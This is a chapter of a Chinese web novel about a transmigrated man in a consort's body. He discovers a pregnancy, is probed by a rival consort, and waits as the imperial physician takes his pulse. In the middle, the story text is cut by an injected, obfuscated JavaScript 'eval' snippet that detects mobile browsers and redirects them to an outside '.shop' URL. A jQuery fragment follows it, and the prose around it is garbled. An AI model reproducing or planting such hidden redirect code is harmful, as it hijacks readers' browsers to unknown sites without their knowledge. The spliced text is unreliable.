头一回犯恶心，是个清晨。
娟儿刚把早膳摆上，一碟酱肉，一盅火腿粥。粥的热气飘过来，带着那股油润的咸香——老梁的胃，毫无征兆地，翻了一下。
他扶住了桌角。
那一阵翻涌不重，压一压就下去了。可他扶着桌角的那只手，没有松开。
他僵在那儿。
这个感觉，他认得。
不是他自己认得——是这具身子认得。清晨，热粥的油气，胃里那一下不讲道理的翻涌。华府那几个月，一模一样的时辰，一模一样的翻法。那时候他刚穿过来没几天，只当是这具虚弱身子的病气，还嘀咕过这古代的火腿是不是没腌透。后来他懂了那是什么。
他慢慢地坐下，望着那盅粥。
娟儿站在旁边："娘娘？"
"没事。"老梁道，"今儿不想吃这个。撤了吧。"
娟儿把粥撤了。她撤的时候，看了老梁一眼。
老梁没看她。
他坐在那儿，脑子里翻出来的却是二十年前的一个清晨。他老婆怀他儿子那年，头三个月，一闻见厨房炒鸡蛋的味儿就往卫生间跑，吐得昏天黑地，扶着马桶直不起腰。他那时候站在卫生间门口，端着一杯温水，心里想的是——女人真不容易。
现在，轮到他自己了。
他妈的。
他在心里骂了一句。这一句骂出来，连他自己都听得出没什么底气。
从那天起，老梁开始数日子。
他不敢用笔记。宫里没有一张纸是安全的，他心里门儿清。他就在心里数。夜里躺下，帐子放下来，黑透了，他从翻牌那一夜起，一天一天地往后数。像上学的时候数着日子等放假，又像体检完了数着日子等报告——等一份他打心底里不想看的报告。
数到某一个日子上，他停住了。
该来的，没来。
已经晚了六天。
他躺在黑里，手心里全是汗。
他跟自己说，这具身子病过、亏过、小产过，月信乱是常事。他跟自己说，恶心也许是秋天的凉气，也许是御膳房换了猪油。他跟自己说，晚六天算什么，他老婆当年还晚过十天呢，最后不也——
不也怎么样？最后不就是有了么。
他把这个念头掐了。掐完了它又冒出来。他就这么掐一夜、冒一夜，像按着一锅烧开的水。
天亮的时候，他一句都没信。
天亮的时候他还想明白了另一件事，一件比"有没有"更让他睡不着的事。
这具身子不是他的。
这具身子是婉清的。她还在里头——沉在最深处，睡着，什么都不知道。她十六七岁，她这一辈子到目前为止，被爹当棋走、被夫家下药、被皇帝翻牌，没有一件事是她自己点头的。如今连她的肚子里要不要住进一个孩子，都是他这个借宿的，替她——
不，连"替"都算不上。他连问都没法问她一声。
老梁躺在黑里，把两只手交叠着压在眼睛上。
欠了。这回是真欠了。上回小产，那笔账还能算在华府那起子毒妇头上；这一回，账主是他自己。他喝的酒，他装的醉，他挨过去的那一夜。
利滚利，他这辈子还不清了。
娟儿是什么时候懂的，老梁说不上来。
也许是替他梳头那一日。铜镜里，娟儿的手挽着发，忽然停了半拍。就半拍。然后照常挽下去，一个字没说。
也许是更早。
只是从某一天起，膳桌上的东西悄悄变了。酱肉不见了，火腿粥不见了，油炸的点心不见了。多出来的是一碟渍萝卜，一小盏酸笋，一碗熬得极清的米汤。
老梁看着那碟酸笋，筷子伸过去，夹了一箸。
酸得正好。
他抬起眼。娟儿垂着头，正给他布另一道菜，睫毛都没抬一下。
两个人隔着一张膳桌，谁也没看谁，谁也没说话。
那碟酸笋，他吃完了。
吃完了他心里想，这丫头在华府伺候过头一胎，什么阵仗没见过。她连问都不问，是护着他——连"问"这个动静，都替他省了。
这宫里头，真心是论斤称的稀罕物。他这一桌子，摆着一斤。
有容是隔了两日来的。
还是送汤。还是那副恭敬温顺的样子。她把汤盅搁下，屈膝，起身——起身的时候，那目光在老梁脸上，极慢地描了一寸。
从眉，到眼，到唇色，到下颌。
然后落在桌上——那碗几乎没动的燕窝，和那碟见了底的渍萝卜上。
一息。
她什么也没说，行礼，退了出去。
当夜，垂西公公在慈宁宫回话。回完了正事，他躬着身，多带了一句：
"拉妃娘娘这几日，胃口变了。"
文馨捻珠的手，停住了。
殿里静了很久。
"知道了。"她说。
那一夜，小佛堂的灯，又亮到了天明。灯下的人跪着，念珠却始终没有再动一颗。
烟妃的帖子是月中到的。
帖子上写的是回访——上回妹妹屈尊来看姐姐，姐姐一直记挂，改日登门叨扰。
改日就是第二天。
她来的时候带了两个食盒，还带了一小瓶她自己殿里熏的香。人还是那样，月白的褙子，素银的簪子，一进门先笑，左颊那颗痣跟着酒窝一块儿弯起来。
老梁一见那张脸，心里还是那一下没出息的软。
他这几日把自己捂得铁桶一样——捂着娟儿以外的所有人，捂着永昌帝，捂着有容，捂着他自己夜里的汗。可这张脸一进门，他那只捂着的手，就想松。
他在心里骂自己：梁志超，人家是带着差事来的。
骂完了，手还是松了半分。
头一个食盒里是几样江南的细点。第二个盒子打开，是一小碟蜜渍的青梅，码得整整齐齐，颗颗上头还挂着霜。
"这个是家里捎进来的。"烟妃笑着，把那碟青梅往老梁跟前推了推，"我父亲知道我爱这一口，年年着人从徽州捎。酸得很，寻常人吃不惯。妹妹尝尝？"
那碟青梅就搁在老梁手边。
梅子上的糖霜底下，透着青黄的酸色。老梁这几日嘴里正寡，寡得半夜里想起娟儿那碟酸笋都咽口水。此刻那点酸就在手边，隔着一层糖霜朝他招手。
他的喉头，不受他管地，动了一下。
他咽了一口津。
就那么极快的一下。
然后他笑着摆手："姐姐留着自己吃。我这几日脾胃弱，酸的克化不动。"
"是么。"烟妃笑着，把碟子收回去了半寸，"那妹妹尝尝细点。这个是枣泥的，性子平和。"
她替他斟了一盏茶，说起了闲话。说秋深了，她殿里那盆水仙起了新芽；说前儿夜里起风，把她廊下一盏灯笼刮下来了；说宫里的日子一天短过一天，天一黑就懒得动，只想守着炭盆子说话。
"说起来，"她像是忽然想起，"妹妹那对暖手炉可还使得？这就到用它的时节了。"
"使得。娟儿日日给我笼上炭。"
"那就好。"烟妃笑吟吟的，"东西跟人一样，搁着不用就凉了心。"
老梁陪着笑。他听得出这句话里那点若有似无的意思，也听得出这意思裹了三层糖。他懒得剥。他这几日剥别人的话剥得太多了，就这半个时辰，他想歇歇。
烟妃又说了几句，话锋淡淡地一拐。
"前儿听说皇上又赏了妹妹好些东西？皇上待妹妹，真是没话说。"
"皇上恩典。"
"这些日子皇上朝务重，"烟妃叹了一口气，那叹息里带着一点做臣子女眷的忧色，"我父亲说，皇上夜夜批折子批到三更，龙体要紧呢。来妹妹这儿坐坐，怕也少了吧？"
老梁端着茶，抿了一口。
来了。
皇上夜里批折子批到几更，一个内宫的妃子，从哪儿"听说"？从她父亲那儿。她父亲又为什么要跟女儿说这个——还是反过来，她父亲想从女儿这儿知道这个？
他把茶盏搁下，脸上的笑没动。
"皇上日理万机。"他道，"偶尔来坐坐，也说不上几句话。坐一坐，喝半盏茶，就走了。皇上心里装的都是江山社稷，臣妾们能做的，也就是让皇上来的时候，能松快一刻是一刻。"
滴水不漏。漏了的那半句——皇上如今来了连酒都不喝了——他咽了回去。
"妹妹这话说得是。"烟妃望着他，笑意深了一分，"能让皇上松快，就是天大的本事。这宫里头，皇上肯到谁那儿坐，谁那儿就是天。"
她说完这句，端起茶来抿了一口，忽然又搁下，像是话赶话地想起来：
"哦，还听底下人嚼舌根，说太医院前一阵给妹妹进了什么好方子？可见皇上把妹妹的身子，是搁在心尖上的。"
老梁的手指，在膝上无声地扣了扣。
稳胎药的风声。到底还是吹到烟华殿去了。
"太医院的例行方子罢了。"他淡淡道，"我这身子亏空久了，皇上让他们仔细着调理。什么好方子，吃着比黄连还苦。"
"良药苦口。"烟妃笑了。
她没有再往下问。
她坐了小半个时辰，起身告辞。老梁送她到殿门口。她握了握他的手，掌心还是温的。
"妹妹好生将养。"她说，"姐姐瞧你这几日，清减了。"
她说这句的时候，忽然顿了一下。那双清澈的眼睛望着老梁，里头有个什么东西动了动，像是还有半句话在后头排着。
"妹妹，这宫里——"
她说了四个字，停住了。
然后她笑了笑，把那半句收了回去，换了一句：
"这宫里风大。回屋去吧，别站在风口上。"
她走了。
那碟蜜渍青梅，留下了。
老梁回到屋里，在那碟青梅前站了很久。
他知道方才自己咽的那一口津，她看见了。他不知道她看懂了没有。他也知道她方才那半句"这宫里"底下压着东西，可他猜不出是个套，还是一句真话。
这就是他跟这个女人之间最要命的地方——他分不出来。搁在别人身上，他一分就分出来了。
他伸手，把那碟青梅端起来，递给娟儿。
"收起来。"他说，"别摆在我眼前。"
娟儿捧着那碟青梅出去了。走到门口，听见自家娘娘在身后又低低地补了一句，不知是说给谁的：
"想吃的时候，再拿给我。"
烟华殿里，烟妃回了自己的殿。
她坐在灯下，铺纸，研墨。给家里的回信只有一行小字。
写完了，她望着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17900908|212941||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那行字，望了一会儿。
窗外起风了，吹得窗纸响。她把那行字凑到烛火上——没有立刻烧。火苗离纸角半寸，她的手停在那儿。
停了三息。
烧了。
那一个月，就这么一页一页地撕过去。
江州那头，贺长史的席吃到了第三十桌。账查出了几处小错，罚银收了，卷宗一日厚过一日，案子一日浑过一日。彧长风在京里收到的呈报，每一份都写得漂亮，每一份都等于没写。
潼川的山口，西大营的两卫扎下了营。望楼立起来，鹿角埋下去，旌旗在北风里翻。新换防的潼川守将姓岳，是永昌帝从三个名字里亲手圈出来的那一个，到任头一日就把关防的腰牌全数换了新的。
江州往南的山道上，粮车走夜路。车轮裹了布，马蹄裹了棉，一队一队，无声地进山。山坳深处那片没有旗号的营帐，帐外的拒马，又朝外挪了半里。
宫里的鼓，照旧一日五遍。
老梁的腰身，还看不出什么。只是娟儿给他系裙的时候，那根带子，悄悄地放出去了半指。
永昌帝来的那晚，是月底。
他坐了一会儿，没说什么朝上的事。他的眉眼间有掩不住的乏，眼下的青比上回深了一层，可他坐在那儿，还是把腰背端得直直的。
晚膳摆上来，老梁陪着用。他挟了几筷子素菜，那盅新炖的鹿茸汤，一口没动。
永昌帝看在眼里。
他没说什么。他自己也没什么胃口，两个人对坐着，一顿饭吃得像下棋，你一子我一子，落得都轻。
撤了膳，宫女奉茶。永昌帝喝了半盏，望着老梁看了一会儿。
"你瘦了。"他说。
"入了秋，胃口浅些。"老梁道，"皇上也清减了。"
"朕是老了。"永昌帝淡淡地说。他四十岁不到的人，说这话的时候不像自嘲，倒像陈述。
他又坐了一会儿，起身要走。走到门口，他停下了。
他没有回头。
"明日，"他说，"让太医院来请个平安脉。"
不是商量。
老梁在他身后，屈膝："是。"
永昌帝站了一息。烛光把他的影子投在门上，那影子晃了一晃，像是要转身，终究没有。
他走了。
那一夜，老梁没睡。
他把娟儿打发出去，一个人坐在灯下。
坐了半晌，他起身，走到铜镜前。
镜子里那个女人望着他。清减了些，眼下有青，可那张脸上有一种他说不清的东西——比几个月前，润了一层。
他望着她，望了很久，嘴唇动了动。
上一回站在这面镜子前，是翻牌那一夜。那一夜他跟她说了一句"对不住"。
今夜他想说的话比那三个字多得多。他想说你别怪我，想说我也没料到，想说等这阵子过去了我一定——一定什么？他一定不了任何事。他连明天太医那三根手指搭上来会摸出什么，都做不了主。
到末了，一个字也没说出口。
他回到榻边，从枕头底下把银簪取出来，用帕子里里外外擦了一遍，又塞回去。他吹了灯，躺下。
黑里，他睁着眼。
不知过了多久，他觉出一点不对。
肚子上，暖。
不是被窝的暖。是一小片、一小团的暖，就在肚脐底下三指的地方，像有人隔着皮肉，贴了一小块温玉。
老梁的呼吸停了。
他慢慢地掀开被子，撩起中衣，就着窗外那点月色，低头看去——
那八个字，亮了。
极淡的一层金，浮在皮肤底下，像香灰里没熄透的一线火。几个月了——从最开始那一夜亮过一次，它死了一样地沉了几个月——此刻，那些细如发丝的金纹，正一丝一丝地，泛着光。
老梁死死地盯着。
他看出了一点不一样。
那些金纹——他记得它们原来的样子，他曾经就着月光一笔一笔地认过——位置动了。整团字往下沉了半寸，那些弯弯绕绕的笔画，末梢都朝着同一个方向，微微地垂下去，像水草顺着一股极缓的水流，朝着小腹更深的地方，漂。
朝着那个地方。
老梁伸出手指，碰了一下。
暖的。
那层金光在他指腹底下，极轻地，跳了一跳。
像一下心跳。
不是他的心跳。
他不知道自己什么时候睡着的。
将睡未睡之间，他仿佛听见了一点什么。很轻，很远，隔着水似的。不是话，听不出字。像是有人在极深极深的地方，呼了一口气。
一口很轻的、女孩子的气。
他想睁眼。没睁开。
清晨。
太医院来的是院使亲自带的班，两个太医，一个捧药箱的医官，垂手立在殿外。
老梁坐在榻边，手腕搁在脉枕上。腕子上覆了一方素帕。
请脉的是院使。六十多岁的老人，白眉白须，净了手，跪坐在脚踏边。
殿里烧着一炉安息香。香灰积了一指长，无声地断落下来。
老院使伸出三指，隔着素帕，搭上了腕子。
殿里静得能听见帕子底下，那一线极轻的搏动。
老院使闭着眼。
他的手指，忽然停住了。